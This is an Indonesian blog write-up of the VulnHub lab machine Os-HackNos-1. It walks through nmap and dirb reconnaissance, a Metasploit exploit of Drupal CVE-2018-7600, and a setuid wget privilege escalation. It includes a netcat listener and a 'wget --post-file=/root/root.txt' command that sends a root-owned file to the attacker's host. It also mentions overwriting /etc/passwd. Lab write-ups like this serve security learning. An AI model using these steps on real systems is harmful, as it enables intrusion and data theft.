[VulnHub] Os-HackNos-1

Zaidan Rizaki
3 min readDec 15, 2019

--

Kali ini saya akan memposting tentang write-up salah satu VM di VulnHub yaitu Os-HackNos. Machine ini memiliki difficulty Easy to Intermediate.

Konfigurasi Network

Saya menjalankan machine ini di VirtualBox dengan adapter Bridged terkoneksi ke WiFI.

Information Gathering

Yang pertama harus diketahui adalah IP address dari si target. Caranya adalah dengan melakukan ping sweep dengan menggunakan nmap.

# nmap -sP 192.168.43.1–255

Dari hasil ping sweep diatas maka diketahui IP address machine adalah 192.168.43.80.

Langkah kedua adalah melakukan port scanning untuk mengetahui port dan layanan yang berjalan di mesin target.

# nmap -A 192.168.43.80 -oN initial.nmap

Dari point http-title menunjukkan index.html dari mesin target hanya berupa default page apache. Langkah selanjutnya adalah melakukan directory scanning menggunakan dirb.

# dirb http://192.168.43.80 /usr/share/wordlists/dirb/common.txt

Berdasarkan hasil scan diatas dapat diketahui bahwa machine tsb menggunakan CMS Drupal.

Lalu coba mengakses robots.txt untuk mengetahui direktori lain yang mungkin tidak terscan dan saya menemukan CHANGELOG.txt.

Dalam file CHANGELOG.txt dapat diketahui bahwa versi Drupal yang digunakan adalah versi 7.57

Copas versi drupal + tambah kata “vulnerability” lalu kita dapat public exploit CVE-2018–7600 :).

Attacking

Berhubung exploit tersebut sudah ada di Metasploit maka saya akan menggunakan Metasploit.
Set RHOSTS ke IP target dan TARGETURI menjadi /drupal
Jalankan exploit dan kita dapat akses ke mesin target dengan user www-data

Langkah selanjutnya adalah mencari flag user dan root. Untuk flag user umumnya terdapat di directory home suatu user. Cek /etc/passwd untuk mengetahui user lain yang terdapat pada sistem.

cat /etc/passwd
Terdapat user james dengan home directory /home/james

Pindah ke directory /home/james dan kita mendapat flag user. Langkah selanjutnya adalah mencari flag root yang terdapat di directory /root, untuk itu, kita harus mendapat akses root dengan melakukan privilege escalation.

Langkah pertama yang saya lakukan adalah melakukan system enumeration dengan LinEnum.

Upload LinEnum.sh lewat meterpreter lalu jalankan di shell.

Hasil scan LinEnum

Hasil scan LinEnum menunjukkan bahwa file/program wget mempunyai flag “s” atau “setuid”. Flag setuid menunjukkan bahwa suatu file dapat dijalankan dengan menggunakan permission dari pemilik file. Jadi apabila kita menggunakan wget, maka otomatis kita akan menggunakan privilege dari root secara sementara.

Dengan logika diatas maka saya coba untuk mendownload flag root di /root dengan menggunakan wget. Umumnya flag root bernama root.txt atau flag.txt.

Jalankan netcat untuk melisten port 80

# nc -lvnp 80

Lalu kirim saya coba untuk mengirim root.txt ke alamat IP local dengan wget.. dan ternyata berhasil :)

$ wget --post-file=/root/root.txt 192.168.43.192
Flag root berhasil didapatkan

Sayangnya metode diatas hanya bermodal pure luck xD, apabila flag root tidak bernama “root.txt” maka flag root tidak akan berhasil didapatkan. Ada metode lain yang lebih teknis yaitu dengan mengoverwrite file passwd untuk menyimpan informasi user baru kita dengan privilege root.

--

--

Zaidan Rizaki
Zaidan Rizaki

Written by Zaidan Rizaki

Ordinary high school kid who has big interest in networking and information security stuff.

No responses yet